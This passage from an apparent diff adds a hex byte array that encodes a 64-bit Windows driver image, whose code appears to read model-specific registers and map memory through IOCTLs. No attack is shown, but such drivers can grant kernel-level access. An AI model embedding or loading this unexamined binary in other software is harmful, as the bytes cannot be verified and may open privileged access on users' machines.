0x22, 0x00, 0x0B, 0x02, 0x0E, 0x10, + 0x00, 0x16, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x50, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x18, 0xA7, 0x00, 0x00, 0x01, 0x00, 0x60, 0x41, 0x00, 0x00, 0x10, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x50, 0x00, 0x00, + 0x3C, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x28, 0x04, 0x00, 0x00, + 0x00, 0x40, 0x00, 0x00, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, + 0xD8, 0x24, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, + 0x40, 0x21, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x21, 0x00, 0x00, + 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, + 0x74, 0x00, 0x00, 0x00, 0x8A, 0x0F, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68, + 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xEC, 0x05, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, + 0x80, 0x03, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, 0x2E, 0x70, 0x64, 0x61, + 0x74, 0x61, 0x00, 0x00, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, + 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x04, 0x00, 0x00, + 0x00, 0x50, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x00, 0x00, 0x62, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, + 0x28, 0x04, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, + 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x2E, 0x72, 0x65, 0x6C, + 0x6F, 0x63, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, + 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0xAA, 0xB8, 0x00, 0x00, 0x00, + 0x48, 0x8D, 0x0D, 0x59, 0x22, 0x00, 0x00, 0x48, 0x83, 0x60, 0xE8, 0x00, + 0x48, 0x8B, 0xF2, 0x33, 0xD2, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xFF, + 0x15, 0xFB, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0x0D, 0x74, 0x22, 0x00, 0x00, + 0x4C, 0x8D, 0x3D, 0x6D, 0x22, 0x00, 0x00, 0x49, 0x3B, 0xCF, 0x74, 0x3C, + 0x48, 0x8B, 0x45, 0x30, 0x48, 0x8B, 0x19, 0x48, 0x39, 0x41, 0x10, 0x75, + 0x20, 0x48, 0x39, 0x4B, 0x08, 0x75, 0x22, 0x48, 0x8B, 0x79, 0x08, 0x48, + 0x39, 0x0F, 0x75, 0x19, 0x48, 0x89, 0x1F, 0x48, 0x89, 0x7B, 0x08, 0xE8, + 0xEC, 0x02, 0x00, 0x00, 0x48, 0x3B, 0xFB, 0x74, 0x0F, 0x48, 0x8B, 0xCB, + 0x49, 0x3B, 0xDF, 0xEB, 0xC9, 0xB9, 0x03, 0x00, 0x00, 0x00, 0xCD, 0x29, + 0x48, 0x83, 0x66, 0x38, 0x00, 0x33, 0xD2, 0x83, 0x66, 0x30, 0x00, 0x48, + 0x8B, 0xCE, 0xFF, 0x15, 0xF8, 0x0F, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8D, + 0x0D, 0xD7, 0x21, 0x00, 0x00, 0xFF, 0x15, 0x81, 0x0F, 0x00, 0x00, 0x48, + 0x8B, 0x5C, 0x24, 0x40, 0x33, 0xC0, 0x48, 0x8B, 0x6C, 0x24, 0x48, 0x48, + 0x8B, 0x74, 0x24, 0x50, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x83, 0xC4, + 0x30, 0x41, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, + 0x48, 0x83, 0x62, 0x38, 0x00, 0x48, 0x8B, 0xCA, 0x83, 0x62, 0x30, 0x00, + 0x33, 0xD2, 0xFF, 0x15, 0xB0, 0x0F, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x83, + 0xC4, 0x28, 0xC3, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, + 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x4C, 0x8B, 0xAA, + 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x7A, 0x38, 0x48, 0x8B, 0x72, 0x18, + 0x33, 0xDB, 0x4C, 0x8B, 0xFA, 0xBA, 0x4C, 0x93, 0x22, 0x00, 0x41, 0x8B, + 0x4D, 0x18, 0x41, 0x8B, 0x6D, 0x10, 0x45, 0x8B, 0x75, 0x08, 0x48, 0x89, + 0x1F, 0x3B, 0xCA, 0x0F, 0x87, 0xA0, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x10, + 0x01, 0x00, 0x00, 0x8B, 0xC1, 0x2D, 0x48, 0x53, 0x22, 0x00, 0x74, 0x7C, + 0x83, 0xE8, 0x10, 0x0F, 0x84, 0xDE, 0x00, 0x00, 0x00, 0x83, 0xE8, 0x1C, + 0x74, 0x45, 0x83, 0xE8, 0x08, 0x74, 0x1E, 0x83, 0xF8, 0x0C, 0x0F, 0x85, + 0x92, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xCF, 0x45, 0x8B, 0xC6, 0x8B, 0xD5, + 0x48, 0x8B, 0xCE, 0xE8, 0x4C, 0x05, 0x00, 0x00, 0xE9, 0xEC, 0x00, 0x00, + 0x00, 0x41, 0x83, 0xFE, 0x04, 0x73, 0x0A, 0xBB, 0x23, 0x00, 0x00, 0xC0, + 0xE9, 0xDE, 0x00, 0x00, 0x00, 0xC7, 0x06, 0x12, 0x00, 0x00, 0x01, 0x48, + 0xC7, 0x07, 0x04, 0x00, 0x00, 0x00, 0xE9, 0xCC, 0x00, 0x00, 0x00, 0x49, + 0x8B, 0xCF, 0xFF, 0x15, 0x20, 0x0F, 0x00, 0x00, 0x49, 0x8B, 0x55, 0x30, + 0x44, 0x8B, 0xCD, 0x8B, 0xC8, 0x48, 0x89, 0x7C, 0x24, 0x28, 0x4C, 0x8B, + 0xC6, 0x44, 0x89, 0x74, 0x24, 0x20, 0xE8, 0x1D, 0x02, 0x00, 0x00, 0xE9, + 0xA1, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xCF, 0x45, 0x8B, 0xC6, 0x8B, 0xD5, + 0x48, 0x8B, 0xCE, 0xE8, 0x24, 0x05, 0x00, 0x00, 0xE9, 0x8C, 0x00, 0x00, + 0x00, 0x8B, 0xC1, 0x2D, 0x50, 0x93, 0x22, 0x00, 0x74, 0x6B, 0x83, 0xE8, + 0x04, 0x74, 0x48, 0x83, 0xE8, 0x24, 0x74, 0x2F, 0x83, 0xE8, 0x08, 0x74, + 0x1B, 0x83, 0xF8, 0x04, 0x74, 0x07, 0xBB, 0x02, 0x00, 0x00, 0xC0, 0xEB, + 0x6A, 0x4C, 0x8B, 0xC7, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, 0xE8, 0xAE, 0x07, + 0x00, 0x00, 0xEB, 0x59, 0x4C, 0x8B, 0xC7, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, + 0xE8, 0xCF, 0x07, 0x00, 0x00, 0xEB, 0x4A, 0x49, 0x8B, 0x4D, 0x30, 0x4C, + 0x8B, 0xCF, 0x44, 0x8B, 0xC5, 0x48, 0x8B, 0xD6, 0xE8, 0xCB, 0x06, 0x00, + 0x00, 0xEB, 0x36, 0x81, 0xF9, 0x54, 0x93, 0x22, 0x00, 0x48, 0x89, 0x7C, + 0x24, 0x20, 0x45, 0x8B, 0xCE, 0x44, 0x8B, 0xC5, 0x0F, 0x94, 0xC2, 0x48, + 0x8B, 0xCE, 0xE8, 0x29, 0x06, 0x00, 0x00, 0xEB, 0x18, 0x3B, 0xCA, 0x0F, + 0x94, 0xC2, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x45, 0x8B, 0xCE, 0x44, 0x8B, + 0xC5, 0x48, 0x8B, 0xCE, 0xE8, 0x03, 0x05, 0x00, 0x00, 0x8B, 0xD8, 0x33, + 0xD2, 0x41, 0x89, 0x5F, 0x30, 0x49, 0x8B, 0xCF, 0xFF, 0x15, 0x1E, 0x0E, + 0x00, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x58, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, + 0x24, 0x50, 0x48, 0x8B, 0x74, 0x24, 0x60, 0x48, 0x8B, 0x7C, 0x24, 0x68, + 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0xC3, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, + 0xD9, 0x48, 0x8D, 0x0D, 0x50, 0x20, 0x00, 0x00, 0xFF, 0x15, 0xAA, 0x0D, + 0x00, 0x00, 0x66, 0x83, 0x3D, 0xC2, 0x1D, 0x00, 0x00, 0x00, 0x74, 0x1D, + 0x48, 0x8D, 0x15, 0xB9, 0x1D, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, + 0xFF, 0x15, 0x46, 0x0D, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, + 0x15, 0xDB, 0x0D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x08, 0x48, 0x83, 0xC4, + 0x30, 0x5B, 0x48, 0xFF, 0x25, 0xC3, 0x0D, 0x00, 0x00, 0xCC, 0xCC, 0xCC, + 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xEC, + 0x20, 0x48, 0x8B, 0x1D, 0xA8, 0x1F, 0x00, 0x00, 0x4C, 0x8D, 0x35, 0xA1, + 0x1F, 0x00, 0x00, 0x49, 0x8B, 0xF8, 0x48, 0x8B, 0xF2, 0x48, 0x8B, 0xE9, + 0xEB, 0x19, 0x4C, 0x8B, 0xC7, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCB, 0x48, + 0x8B, 0xC5, 0xFF, 0x15, 0xD4, 0x0D, 0x00, 0x00, 0x84, 0xC0, 0x75, 0x25, + 0x48, 0x8B, 0x1B, 0x49, 0x3B, 0xDE, 0x75, 0xE2, 0x33, 0xC0, 0x48, 0x8B, + 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, + 0x40, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, + 0xC3, 0x48, 0x8B, 0xC3, 0xEB, 0xE0, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, + 0xEC, 0x20, 0x48, 0x8B, 0x51, 0x38, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0x49, + 0x30, 0xFF, 0x15, 0x6D, 0x0D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x38, 0xFF, + 0x15, 0x3B, 0x0D, 0x00, 0x00, 0x8B, 0x53, 0x28, 0x48, 0x8B, 0x4B, 0x20, + 0xFF, 0x15, 0xF6, 0x0C, 0x00, 0x00, 0xFF, 0x05, 0x84, 0x1F, 0x00, 0x00, + 0x48, 0x8D, 0x0D, 0x61, 0x1F, 0x00, 0x00, 0xFF, 0x15, 0x9B, 0x0C, 0x00, + 0x00, 0x66, 0x3B, 0x05, 0x64, 0x1F, 0x00, 0x00, 0x72, 0x1C, 0xFF, 0x05, + 0x6C, 0x1F, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0x48, 0x8B, 0x05, 0x7A, 0x1F, + 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x48, 0xFF, 0x25, 0x3E, 0x0D, + 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8D, 0x0D, 0x2C, 0x1F, 0x00, 0x00, + 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x48, 0xFF, 0x25, 0x70, 0x0C, 0x00, 0x00, + 0x48, 0x8B, 0xC4, 0x4C, 0x89, 0x40, 0x18, 0x48, 0x89, 0x50, 0x10, 0x89, + 0x48, 0x08, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, + 0x57, 0x48, 0x83, 0xEC, 0x50, 0x49, 0x8B, 0xF0, 0x8B, 0xF9, 0x41, 0x83, + 0xF9, 0x0C, 0x0F, 0x82, 0x67, 0x02, 0x00, 0x00, 0x83, 0xBC, 0x24, 0xB0, + 0x00, 0x00, 0x00, 0x08, 0x0F, 0x82, 0x59, 0x02, 0x00, 0x00, 0x33, 0xDB, + 0x48, 0x89, 0x58, 0x98, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33, 0xD2, + 0x48, 0x8D, 0x0D, 0x51, 0x1E, 0x00, 0x00, 0xFF, 0x15, 0x03, 0x0C, 0x00, + 0x00, 0x44, 0x8B, 0xC7, 0x48, 0x8B, 0x16, 0x48, 0x8D, 0x0D, 0x6E, 0x02, + 0x00, 0x00, 0xE8, 0xA9, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0xC8, 0x48, 0x85, + 0xC0, 0x74, 0x1E, 0xFF, 0x40, 0x40, 0x48, 0x8B, 0x84, 0x24, 0xB8, 0x00, + 0x00, 0x00, 0x48, 0xC7, 0x00, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x41, + 0x30, 0x48, 0x89, 0x06, 0xE9, 0x5B, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x0E, + 0x8B, 0x56, 0x08, 0x45, 0x33, 0xC0, 0xFF, 0x15, 0x04, 0x0C, 0x00, 0x00, + 0x4C, 0x8B, 0xF8, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x85, 0xC0, 0x0F, + 0x84, 0x36, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x20, 0x45, 0x33, + 0xC9, 0x45, 0x33, 0xC0, 0x8B, 0x56, 0x08, 0x48, 0x8B, 0xC8, 0xFF, 0x15, + 0xEC, 0x0B, 0x00, 0x00, 0x4C, 0x8B, 0xF0, 0x48, 0x89, 0x44, 0x24, 0x48, + 0x48, 0x85, 0xC0, 0x75, 0x16, 0x8B, 0x56, 0x08, 0x49, 0x8B, 0xCF, 0xFF, + 0x15, 0xCB, 0x0B, 0x00, 0x00, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0x01, + 0x01, 0x00, 0x00, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x98, 0x0B, 0x00, 0x00, + 0x48, 0x89, 0x5C, 0x24, 0x38, 0x8B, 0x05, 0x69, 0x1B, 0x00, 0x00, 0x83, + 0xC8, 0x20, 0x89, 0x44, 0x24, 0x28, 0x89, 0x5C, 0x24, 0x20, 0x45, 0x33, + 0xC9, 0x45, 0x33, 0xC0, 0xB2, 0x01, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x79, + 0x0B, 0x00, 0x00, 0x45, 0x8B, 0x6E, 0x2C, 0x48, 0x25, 0x00, 0xF0, 0xFF, + 0xFF, 0x4C, 0x03, 0xE8, 0x4C, 0x89, 0x6C, 0x24, 0x38, 0x44, 0x8B, 0xE3, + 0xB8, 0x9A, 0x00, 0x00, 0xC0, 0x44, 0x0F, 0x44, 0xE0, 0x44, 0x89, 0x64, + 0x24, 0x30, 0xEB, 0x1E, 0x44, 0x8B, 0xE0, 0x89, 0x44, 0x24, 0x30, 0x48, + 0x8B, 0xB4, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x7C, 0x24, 0x40, + 0x4C, 0x8B, 0x74, 0x24, 0x48, 0x4C, 0x8B, 0x6C, 0x24, 0x38, 0x45, 0x85, + 0xE4, 0x79, 0x1A, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x78, 0x0B, 0x00, 0x00, + 0x8B, 0x56, 0x08, 0x49, 0x8B, 0xCF, 0xFF, 0x15, 0x34, 0x0B, 0x00, 0x00, + 0xE9, 0x06, 0x01, 0x00, 0x00, 0xFF, 0x05, 0xB5, 0x1D, 0x00, 0x00, 0x48, + 0x8D, 0x0D, 0x9A, 0x1D, 0x00, 0x00, 0xFF, 0x15, 0xDC, 0x0A, 0x00, 0x00, + 0x48, 0x8B, 0xF8, 0x48, 0x85, 0xC0, 0x75, 0x29, 0xFF, 0x05, 0x9E, 0x1D, + 0x00, 0x00, 0x8B, 0x15, 0xAC, 0x1D, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xA9, + 0x1D, 0x00, 0x00, 0x44, 0x8B, 0x05, 0x9A, 0x1D, 0x00, 0x00, 0x8B, 0x0D, + 0x90, 0x1D, 0x00, 0x00, 0xFF, 0x15, 0x6E, 0x0B, 0x00, 0x00, 0x48, 0x8B, + 0xF8, 0x48, 0x85, 0xFF, 0x75, 0x3C, 0x49, 0x8B, 0xD6, 0x49, 0x8B, 0xCD, + 0xFF, 0x15, 0x3A, 0x0B, 0x00, 0x00, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x09, + 0x0B, 0x00, 0x00, 0x8B, 0x56, 0x08, 0x49, 0x8B, 0xCF, 0xFF, 0x15, 0xC5, + 0x0A, 0x00, 0x00, 0xBB, 0x17, 0x00, 0x00, 0xC0, 0x33, 0xD2, 0x48, 0x8D, + 0x0D, 0xAF, 0x1C, 0x00, 0x00, 0xFF, 0x15, 0x59, 0x0A, 0x00, 0x00, 0x8B, + 0xC3, 0xE9, 0x9A, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x44, 0x8D, 0x42, 0x48, + 0x48, 0x8B, 0xCF, 0xE8, 0x54, 0x08, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, + 0x98, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x10, 0x8B, 0x46, 0x08, 0x89, + 0x47, 0x28, 0x48, 0x8B, 0x06, 0x48, 0x89, 0x47, 0x18, 0x4C, 0x89, 0x7F, + 0x20, 0x4C, 0x89, 0x6F, 0x30, 0x4C, 0x89, 0x77, 0x38, 0xC7, 0x47, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x89, + 0x47, 0x2C, 0x48, 0x8B, 0x05, 0x97, 0x1C, 0x00, 0x00, 0x48, 0x8D, 0x0D, + 0x88, 0x1C, 0x00, 0x00, 0x48, 0x39, 0x08, 0x74, 0x07, 0xB9, 0x03, 0x00, + 0x00, 0x00, 0xCD, 0x29, 0x48, 0x89, 0x0F, 0x48, 0x89, 0x47, 0x08, 0x48, + 0x89, 0x38, 0x48, 0x89, 0x3D, 0x73, 0x1C, 0x00, 0x00, 0x48, 0x8B, 0x8C, + 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x01, 0x08, 0x00, 0x00, 0x00, + 0x4C, 0x89, 0x2E, 0x33, 0xD2, 0x48, 0x8D, 0x0D, 0x18, 0x1C, 0x00, 0x00, + 0xFF, 0x15, 0xC2, 0x09, 0x00, 0x00, 0x41, 0x8B, 0xC4, 0xEB, 0x05, 0xB8, + 0x23, 0x00, 0x00, 0xC0, 0x48, 0x83, 0xC4, 0x50, 0x41, 0x5F, 0x41, 0x5E, + 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x39, 0x51, 0x10, 0x75, 0x09, 0x4C, 0x39, + 0x41, 0x30, 0x75, 0x03, 0xB0, 0x01, 0xC3, 0x32, 0xC0, 0xC3, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x39, 0x51, 0x18, 0x75, 0x09, 0x44, 0x39, 0x41, 0x2C, 0x75, 0x03, + 0xB0, 0x01, 0xC3, 0x32, 0xC0, 0xC3, 0xCC, 0xCC, 0x4C, 0x8B, 0xD1, 0x83, + 0xFA, 0x04, 0x73, 0x06, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0xC3, 0x41, 0x83, + 0xF8, 0x08, 0x72, 0xF4, 0x45, 0x33, 0xC0, 0x8B, 0x09, 0x0F, 0x32, 0x48, + 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x49, 0x89, 0x02, 0x49, 0xC7, 0x01, + 0x08, 0x00, 0x00, 0x00, 0xEB, 0x03, 0x44, 0x8B, 0xC0, 0x41, 0x8B, 0xC0, + 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, + 0xEC, 0x30, 0x49, 0x8B, 0xF9, 0x83, 0xFA, 0x14, 0x72, 0x4C, 0x8B, 0x59, + 0x10, 0x44, 0x3B, 0xC3, 0x72, 0x44, 0x44, 0x8B, 0x41, 0x08, 0x4C, 0x8B, + 0xC9, 0x8B, 0x41, 0x04, 0x41, 0x83, 0xE0, 0x07, 0x8B, 0x11, 0x83, 0xE0, + 0x1F, 0x41, 0xC1, 0xE0, 0x05, 0x44, 0x0B, 0xC0, 0x89, 0x5C, 0x24, 0x28, + 0x8B, 0x41, 0x0C, 0xB9, 0x04, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x20, + 0xFF, 0x15, 0xC2, 0x08, 0x00, 0x00, 0x8B, 0xC8, 0x48, 0x89, 0x0F, 0x48, + 0x2B, 0xCB, 0x48, 0xF7, 0xD9, 0x1B, 0xC0, 0x25, 0x0D, 0x00, 0x00, 0xC0, + 0xEB, 0x05, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, + 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC3, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, + 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xEC, 0x30, 0x40, 0x8A, 0xEA, + 0x48, 0x8B, 0xF9, 0x41, 0x83, 0xF8, 0x0A, 0x0F, 0x82, 0xC0, 0x00, 0x00, + 0x00, 0xF2, 0x0F, 0x10, 0x01, 0x0F, 0xB7, 0x71, 0x08, 0xF2, 0x0F, 0x11, + 0x40, 0xE8, 0x84, 0xD2, 0x75, 0x0C, 0x0F, 0xB7, 0xC6, 0x44, 0x3B, 0xC8, + 0x0F, 0x82, 0xA3, 0x00, 0x00, 0x00, 0x8B, 0x4C, 0x24, 0x20, 0x45, 0x33, + 0xC0, 0x44, 0x0F, 0xB7, 0xF6, 0x41, 0x8B, 0xD6, 0xFF, 0x15, 0xBA, 0x08, + 0x00, 0x00, 0x4C, 0x8B, 0xC0, 0x48, 0x85, 0xC0, 0x75, 0x0A, 0xB8, 0x17, + 0x00, 0x00, 0xC0, 0xE9, 